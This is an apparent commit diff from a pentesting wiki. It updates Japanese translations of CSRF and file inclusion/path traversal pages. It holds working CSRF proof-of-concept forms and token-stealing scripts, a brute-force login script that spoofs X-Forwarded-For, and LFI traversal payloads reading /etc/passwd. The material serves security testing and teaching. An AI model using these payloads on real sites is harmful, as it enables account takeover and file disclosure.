Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent

This commit is contained in:
Translator 2025-08-26 17:02:50 +00:00
parent 7ccfd69096
commit ec39d138ef
5 changed files with 749 additions and 591 deletions

View File

@ -1,86 +1,114 @@
# CSRF (クロスサイトリクエストフォージェリ)
# CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
## クロスサイトリクエストフォージェリ (CSRF) の説明
## Cross-Site Request Forgery (CSRF) Explained
**クロスサイトリクエストフォージェリ (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。
**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。攻撃者は認証済みセッションを悪用して、ユーザーに気付かれないうちにそのユーザーの代わりに操作を行わせることができます。攻撃は、被害者のプラットフォームにログイン中のユーザーが悪意のあるサイトを訪れたときに実行され、そのサイトが JavaScript の実行、フォームの送信、画像の取得などで被害者アカウントへリクエストを送信します。
### CSRF攻撃の前提条件
### Prerequisites for a CSRF Attack
CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります:
CSRF 脆弱性を悪用するには、いくつかの条件が満たされている必要があります:
1. **価値のあるアクションを特定する**: 攻撃者は、ユーザーのパスワード、メールアドレスの変更、または権限の昇格など、悪用する価値のあるアクションを見つける必要があります。
2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTP基本認証ヘッダーを通じてのみ管理されるべきです。他のヘッダーはこの目的のために操作できません
3. **予測不可能なパラメータの不在**: リクエストには予測不可能なパラメータが含まれていない必要があります。これらは攻撃を妨げる可能性があります。
1. **Identify a Valuable Action**: 攻撃者は、パスワードやメールの変更、権限昇格など、悪用価値のあるアクションを見つける必要があります。
2. **Session Management**: ユーザーのセッションが cookies や HTTP Basic Authentication header のみで管理されている必要があります。他のヘッダはこの目的で操作できないためです
3. **Absence of Unpredictable Parameters**: リクエストに予測不可能なパラメータが含まれていると、攻撃が阻止される可能性があります。
### クイックチェック
### Quick Check
**Burpでリクエストをキャプチャ**し、CSRF保護を確認することができます。また、ブラウザからテストするには、**Copy as fetch**をクリックしてリクエストを確認できます:
Burp でリクエストをキャプチャして CSRF 保護を確認できます。ブラウザからテストするには、**Copy as fetch** をクリックしてリクエストを確認してください:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### CSRFに対する防御
### Defending Against CSRF
CSRF攻撃から保護するために実装できるいくつかの対策があります:
CSRF 攻撃から守るために実装できる対策はいくつかあります:
- [**SameSiteクッキー**](hacking-with-cookies/index.html#samesite): この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSiteクッキーの詳細](hacking-with-cookies/index.html#samesite)。
- [**クロスオリジンリソースシェアリング**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃の実行可能性に影響を与える可能性があります。特に、攻撃が被害者サイトからの応答を読み取る必要がある場合。[CORSバイパスについて学ぶ](cors-bypass.md)。
- **ユーザー確認**: ユーザーのパスワードを求めたり、キャプチャを解決させたりすることで、ユーザーの意図を確認できます。
- **リファラーまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼できるソースから来ていることを確認できます。ただし、URLを慎重に作成することで、実装が不十分なチェックを回避できる場合があります。例えば
- `http://mal.net?orig=http://example.com`URLが信頼できるURLで終わる)
- `http://example.com.mal.net`URLが信頼できるURLで始まる)
- **パラメータ名の変更**: POSTまたはGETリクエストのパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
- **CSRFトークン**: 各セッションにユニークなCSRFトークンを組み込み、以降のリクエストでこのトークンを要求することで、CSRFのリスクを大幅に軽減できます。トークンの効果はCORSを強制することで高めることができます。
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): この属性はブラウザがクロスサイトリクエストに対して cookies を送信するのを防ぎます。[More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトの CORS ポリシーは、特に攻撃が被害者サイトのレスポンスを読む必要がある場合に攻撃の実現可能性に影響します。[Learn about CORS bypass](cors-bypass.md).
- **User Verification**: ユーザーのパスワード再入力や captcha の提示により、ユーザーの意図を確認できます。
- **Checking Referrer or Origin Headers**: これらのヘッダを検証することで、信頼できるソースからのリクエストかを判断できます。ただし、URL の巧妙な作り込みで不適切に実装されたチェックを回避できる場合があります。例:
- `http://mal.net?orig=http://example.com`URL が信頼された URL で終わる)
- `http://example.com.mal.net`URL が信頼された URL で始まる)
- **Modifying Parameter Names**: POST や GET のパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
- **CSRF Tokens**: 各セッションに一意の CSRF トークンを組み込み、そのトークンを後続のリクエストで必須にすることで CSRF のリスクを大幅に軽減できます。CORS を併用するとトークンの有効性はさらに高まります。
これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。
これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと完全性を維持する上で重要です。
## 防御のバイパス
## Defences Bypass
### POSTからGETへ
### From POST to GET (method-conditioned CSRF validation bypass)
悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているか**を**確認**する必要があります。
一部のアプリケーションは POST に対してのみ CSRF 検証を強制し、他の HTTP メソッドではスキップすることがあります。PHP でよくあるアンチパターンは次のようになります:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
脆弱なエンドポイントが $_REQUEST からのパラメータも受け付ける場合、同じアクションを GET リクエストとして再発行し、CSRF token を完全に省略できます。これにより、POST 専用のアクションを token なしで成功する GET アクションに変換できます。
### トークンの欠如
Example:
アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを持つパラメータを**削除すること**によってこれを悪用できます。これにより、検証プロセスを回避し、クロスサイトリクエストフォージェリ (CSRF) 攻撃を効果的に実行できます。
- Original POST with token (intended):
### CSRFトークンがユーザーセッションに結びついていない
```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
アプリケーションが**CSRFトークンをユーザーセッションに結びつけていない**場合、重大な**セキュリティリスク**が存在します。これらのシステムは、各トークンが開始セッションに結びついていることを確認するのではなく、**グローバルプール**に対してトークンを検証します。
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
攻撃者がこれを悪用する方法は次のとおりです:
- Bypass by switching to GET (no token):
1. **自分のアカウントを使用して認証**します。
2. **グローバルプールから有効なCSRFトークンを取得**します。
3. **このトークンを使用して**、被害者に対するCSRF攻撃を行います。
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
この脆弱性により、攻撃者は被害者の代わりに無許可のリクエストを行うことができ、アプリケーションの**不十分なトークン検証メカニズム**を悪用します。
Notes:
- このパターンは、レスポンスが application/json ではなく誤って text/html として返される reflected XSS と一緒に現れることが多いです。
- これを XSS と組み合わせると、脆弱なコードパスをトリガーしつつ CSRF チェックを完全に回避する単一の GET リンクを配布できるため、悪用のハードルが大幅に下がります。
### メソッドバイパス
### Lack of token
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているかを確認してください。たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます_https://example.com/my/dear/api/val/num?**\_method=PUT**_
アプリケーションは、token が存在する場合にそれを **validate** する仕組みを実装していることがあります。しかし、token が欠落しているときに検証処理を完全にスキップしてしまうと脆弱性が発生します。攻撃者は token の値を変えるだけでなく、token を運んでいる parameter 自体を**削除する**ことでこれを悪用できます。これにより検証を回避し、Cross-Site Request Forgery (CSRF) を効果的に実行できます。
これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することで機能する可能性もあります:
### CSRF token is not tied to the user session
CSRF tokens を user sessions に紐付けていないアプリケーションは重大な security risk を抱えています。これらのシステムは各トークンを発行元セッションに結び付けるのではなく、global pool に対して検証を行います。
攻撃者がこれを悪用する流れは次の通りです:
1. 自分のアカウントで認証する。
2. global pool から有効な CSRF token を取得する。
3. その token を被害者に対する CSRF 攻撃で使用する。
この脆弱性により、攻撃者は被害者になりすまして不正なリクエストを送信でき、アプリケーションの不十分な token validation 機構を悪用できます。
### Method bypass
リクエストが「変わった」method を使用している場合、method override 機能が動作しているか確認してください。例えば PUT を使っている場合、POST を使って以下のように送ることで試せます: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
これは、**\_method parameter を POST リクエスト内に含める**か、次のような headers を使って送ることでも動作する可能性があります:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### カスタムヘッダートークンのバイパス
### Custom header token bypass
リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合:
リクエストに CSRF protection method として **custom header****token** を追加している場合は、次を試してください:
- **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。
- **同じ長さだが異なるトークンでリクエストをテスト**します。
- **Customized Token と header の両方を省いた**状態でリクエストをテストする
- 同じ長さだが異なる token を使ってリクエストをテストする
### CSRFトークンがクッキーによって検証される
### CSRF token is verified by a cookie
アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかを確認することでリクエストを検証します。
アプリケーションは、token を cookie とリクエスト parameter の両方に複製するか、CSRF cookie をセットしてバックエンドで送信された token がその cookie に対応しているかを検証することで CSRF 保護を実装することがあります。アプリケーションは、リクエスト parameter の token が cookie の値と一致するかをチェックしてリクエストを検証します。
しかし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。
しかし、この方法は、攻撃者が被害者のブラウザに CSRF cookie を設定できてしまうような脆弱性(例: CRLF 脆弱性)があると CSRF 攻撃に対して脆弱になります。攻撃者は、まず不正な画像を読み込ませて cookie を設定させ、続けて CSRF 攻撃を開始することでこれを悪用できます。
以下は、攻撃がどのように構成されるかの例です:
以下は攻撃の構成例です:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> セッションクッキーに**csrfトークンが関連付けられている場合、この攻撃は機能しません**。なぜなら、被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。
> 注意: **csrf token が session cookie に関連している場合、この攻撃は機能しません**。なぜなら被害者の session を設定する必要があり、その結果自分自身を攻撃することになるからです。
### Content-Typeの変更
[**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです。
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **preflight を回避する** requests using **POST** method these are the allowed Content-Type values:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**、**`text/xml`**、**`application/xml`**などの他の値も試すべきです。
However, note that the **サーバのロジックは異なる場合があります** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
例([こちら](https://brycec.me/posts/corctf_2021_challenges)からでは、JSONデータをtext/plainとして送信しています
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
```html
<html>
<body>
@ -134,31 +162,32 @@ form.submit()
</body>
</html>
```
### JSONデータのプリフライトリクエストをバイパスする
### JSON データの preflight request の回避
POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を直接使用することはできません。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それでも、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります
POST リクエストで JSON データを送信しようとする場合、HTML フォーム内で `Content-Type: application/json` を直接指定することはできません。同様に、`XMLHttpRequest` を使ってこの Content-Type を送ると preflight request が発生します。それでも、この制約を回避して、サーバが Content-Type に関係なく JSON データを処理するかを確認するための手法はいくつかあります:
1. **代替コンテンツタイプの使用**: フォームで`enctype="text/plain"`を設定することにより、`Content-Type: text/plain`または`Content-Type: application/x-www-form-urlencoded`を使用します。このアプローチは、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。
2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しつつプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。
3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。
1. **代替 Content-Type を使用する**: フォームで `enctype="text/plain"` を設定し、`Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用します。この方法はバックエンドが Content-Type に関係なくデータを使用するかをテストします。
2. **Content-Type を修正する**: preflight request を発生させずにサーバが内容を JSON と認識するようにするために、データを `Content-Type: text/plain; application/json` で送信できます。これにより preflight request は発生しませんが、サーバが `application/json` を受け入れる設定になっていれば正しく処理される可能性があります。
3. **SWF Flash ファイルの利用**: あまり一般的ではありませんが、SWF フラッシュファイルを用いてこれらの制限を回避する方法があります。この手法の詳細は [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。
### リファラー / オリジンチェックのバイパス
### Referrer / Origin チェック回避
**リファラーヘッダーを回避する**
**Referrer ヘッダを避ける**
アプリケーションは、'Referer'ヘッダーが存在する場合のみ検証することがあります。このヘッダーをブラウザが送信しないようにするために、次のHTMLメタタグを使用できます
アプリケーションは 'Referer' ヘッダが存在する場合にのみ検証することがあります。ブラウザがこのヘッダを送信しないようにするには、次の HTML meta タグを使用します:
```xml
<meta name="referrer" content="never">
```
これにより、'Referer' ヘッダーが省略され、一部のアプリケーションでの検証チェックを回避できる可能性があります。
これにより 'Referer' ヘッダーが省略され、いくつかのアプリケーションでの検証チェックを潜在的に回避できます。
**Regexp bypasses**
**Regexp バイパス**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Referrer がパラメータ内で送信する URL のサーバーのドメイン名を設定するには、次のようにします:
パラメータ内に Referrer が送信する URL のサーバーのドメイン名を設定するには、次のようにします:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -187,25 +216,25 @@ document.forms[0].submit()
</body>
</html>
```
### **HEADメソッドバイパス**
### **HEAD method bypass**
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されており、レスポンスボディはありません - これはOakに特有の回避策ではありません。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡され、アプリはレスポンスボディを削除します**
[**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) の最初の部分では、[Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) にあるように、ルーターが **handle HEAD requests as GET requests**(レスポンスボディなし)として設定されていると説明されています — これは Oak 固有のものではない一般的な回避策です。HEAD リクエスト専用のハンドラを用意する代わりに、単に **given to the GET handler but the app just removes the response body** という扱いになっています
したがって、GETリクエストが制限されている場合、**GETリクエストとして処理されるHEADリクエストを送信することができます**
したがって、GET リクエストが制限されている場合は、**GET として処理される HEAD リクエストを送信する**だけで済みます
## **エクスプロイトの例**
## **Exploit Examples**
### **CSRFトークンの抽出**
### **CSRFトークンの持ち出し**
**CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/index.html)脆弱性を利用して**抽出を試みる**ことができます。
もし **CSRFトークン****防御** として使われている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) の脆弱性や [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) の脆弱性を悪用してそれを **持ち出す** ことを試みることができます。
### **HTMLタグを使用したGET**
### **GET using HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
自動的にGETリクエストを送信するために使用できる他のHTML5タグは次のとおりです:
自動的にGETリクエストを送信するために使用できる他のHTML5タグは:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -234,7 +263,7 @@ background: url("...");
</video>
</audio>
```
### フォームGETリクエスト
### フォームGET リクエスト
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -252,7 +281,7 @@ document.forms[0].submit()
</body>
</html>
```
### フォームPOSTリクエスト
### フォームPOST リクエスト
```html
<html>
<body>
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### iframeを通じたフォームPOSTリクエスト
### iframe経由のフォームPOSTリクエスト
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### iframe内からのフォームPOSTリクエスト
### iframe内からのForm POSTリクエスト
```html
<--! expl.html -->
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **CSRFトークンを盗んでPOSTリクエストを送信する**
### **CSRF Tokenを盗み、POSTリクエストを送信する**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **CSRFトークンを盗み、iframe、フォーム、Ajaxを使用してPostリクエストを送信する**
### **CSRF Tokenを窃取して、iframe、form、AjaxでPostリクエストを送信する**
```html
<form
id="form1"
@ -472,7 +501,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する**
### **CSRF Tokenを盗んで、iframeとformを使ってPOSTリクエストを送信する**
```html
<iframe
id="iframe"
@ -505,7 +534,7 @@ document.forms[0].submit.click()
}
</script>
```
### **トークンを盗み、2つのiframeを使用して送信する**
### **token を盗み、2つの iframes を使って送信する**
```html
<script>
var token;
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTAjaxを使用してCSRFトークンを盗み、フォームでPOSTを送信する**
### **POSTSteal CSRF tokenをAjaxで取得し、フォームでPOSTを送信する**
```html
<body onload="getData()">
<form
@ -566,7 +595,7 @@ document.getElementById("form").submit()
</script>
</body>
```
### CSRF with Socket.IO
### Socket.IOでのCSRF
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
@ -586,9 +615,9 @@ room: username,
})
</script>
```
## CSRFログインブルートフォース
## CSRF Login Brute Force
このコードは、CSRFトークンを使用してログインフォームをブルートフォースするために使用できます可能なIPブラックリストを回避するために、ヘッダーX-Forwarded-Forも使用しています):
このコードはCSRFトークンを使用してlogin formに対してBrut Forceを行うために使用できますまた、X-Forwarded-Forヘッダーを使用して、可能性のあるIPのblacklistingを回避しようとします):
```python
import request
import re
@ -637,13 +666,12 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## 参考文献
## 参考
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,121 +1,121 @@
# ファイルインクルージョン/パストラバーサル
# File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
## ファイルインクルージョン
## File Inclusion
**リモートファイルインクルージョン (RFI):** ファイルはリモートサーバーからロードされます(最良: コードを書いてサーバーがそれを実行します。PHPでは、これは**デフォルトで無効**です(**allow_url_include**)。\
**ローカルファイルインクルージョン (LFI):** サーバーはローカルファイルをロードします。
**Remote File Inclusion (RFI):** ファイルはリモートサーバから読み込まれます(利点: あなたがコードを書き、サーバがそれを実行します。phpではこれはデフォルトで**無効**です(**allow_url_include**)。\
**Local File Inclusion (LFI):** サーバはローカルファイルを読み込みます。
脆弱性は、ユーザーがサーバーによってロードされるファイルを何らかの方法で制御できるときに発生します。
この脆弱性は、ユーザが何らかの形でサーバによって読み込まれるファイルを制御できる場合に発生します。
脆弱な**PHP関数**: require, require_once, include, include_once
影響を受ける **PHP関数**: require, require_once, include, include_once
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
この脆弱性を悪用する興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## ブラインド - 興味深い - LFI2RCEファイル
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**複数の*nix LFIリストを混ぜて、さらにパスを追加して作成したものです:**
**いくつかの \*nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
`/``\`に変更してみてください。\
`../../../../../`を追加してみてください
また `/``\` に変更して試してください\
また `../../../../../` を追加してみてください
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。
脆弱性が存在するかを確認するために /etc/password ファイルを見つけるための複数の手法を使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります
### **Windows**
異なるワードリストのマージ:
異なるワードリストのマージ
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
`/``\`に変更してみてください。\
`C:/`を削除して`../../../../../`を追加してみてください
また `/``\` に変更して試してください\
また `C:/` を削除して `../../../../../` を追加してみてください
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。
脆弱性が存在するかを確認するために /boot.ini ファイルを見つけるための複数の手法を使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります
### **OS X**
LinuxのLFIリストを確認してください。
linux の LFI リストを確認してください。
## 基本的なLFIとバイパス
## 基本的な LFI と bypasses
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/>))。
全ての例は Local File Inclusion のためのもので、Remote File Inclusion にも適用可能です (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### トラバーサルシーケンスが非再帰的に削除されました
### traversal シーケンスが非再帰的に削除される
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **ヌルバイト (%00)**
### **Null byte (%00)**
提供された文字列の末尾に文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php"
Bypass 提供された文字列の末尾にさらに文字を追加する処理を回避するbypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
これは**PHP 5.4以降解決されています**
これは **PHP 5.4 以降解決されています**
### **エンコーディング**
ダブルURLエンコードその他などの非標準エンコーディングを使用できます
非標準のエンコーディングdouble URL encode やその他)を使用できます:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 既存フォルダから
### 既存フォルダから
おそらくバックエンドはフォルダーパスをチェックしています:
おそらく back-end がフォルダパスをチェックしている:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のファイルシステムディレクトリの探索
### サーバのファイルシステム内のディレクトリを探索する
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスには、ディレクトリの深さを決定し、特定のフォルダの存在を探ることが含まれます。以下は、これを達成するための詳細な方法です:
特定の手法を用いることで、サーバのファイルシステムを再帰的に探索し、ファイルだけでなくディレクトリを特定できます。このプロセスでは、ディレクトリの深さを特定し、特定のフォルダの存在を確認することが含まれます。以下にその詳細な方法を示します:
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd`ファイルを正常に取得しますサーバーがLinuxベースの場合に適用。例として、深さが3であることを示すURLは次のように構成されるかもしれません
1. **ディレクトリの深さを判定する:** 現在のディレクトリの深さは、`/etc/passwd` を正常に取得できるかどうかで見積もります(サーバが Linux の場合に該当)。例えば、深さが 3 であることを示す URL 構造の例は次のようになります
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`をURLに追加し、その後`/etc/passwd`に移動します。追加のディレクトリレベルは深さを1つ増やす必要があります:
2. **フォルダを探索する:** 疑わしいフォルダ名(例:`private`をURLに追加し、続けて`/etc/passwd`にアクセスします。追加のディレクトリレベルがあるため、depthを1つ増やす必要があります
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **結果の解釈:** サーバーの応答はフォルダーの存在を示します:
- **エラー / 出力なし:** フォルダー `private` は指定された場所に存在しない可能性が高いです。
- **`/etc/passwd` の内容:** `private` フォルダーの存在が確認されました
4. **再帰的探索:** 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
3. **結果の解釈:** サーバーの応答からフォルダが存在するかどうかを判別します:
- **エラー / 出力なし:** 指定した場所に `private` フォルダが存在しない可能性が高いです。
- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます
4. **再帰的探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を用いて、サブディレクトリやファイルをさらに調査できます。
ファイルシステム内の異なる場所にあるディレクトリを探索するには、ペイロードを適宜調整してください。たとえば`/var/www/``private` ディレクトリが含まれているか確認するには現在のディレクトリが深さ3にあると仮定して、次のようにします:
ファイルシステム内の別の場所にあるディレクトリを調査するには、payload を適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して`/var/www/``private` ディレクトリが含まれているか確認するには、次のようにします:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **パストランケーション技術**
### **Path Truncation Technique**
Path truncationは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
Path truncation は、web applications 内の file paths を操作するための手法です。これは、file paths の末尾に追加文字を付加するようなセキュリティ対策をバイパスして、アクセス制限されたファイルに到達するためによく使われます。目的は、セキュリティ対策によって変更された後でも目的のファイルを指し続ける file path を作成することです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば
In PHP では、ファイルシステムの性質上、file path のさまざまな表現が同等と見なされることがあります。例えば:
- `/etc/passwd``/etc//passwd``/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
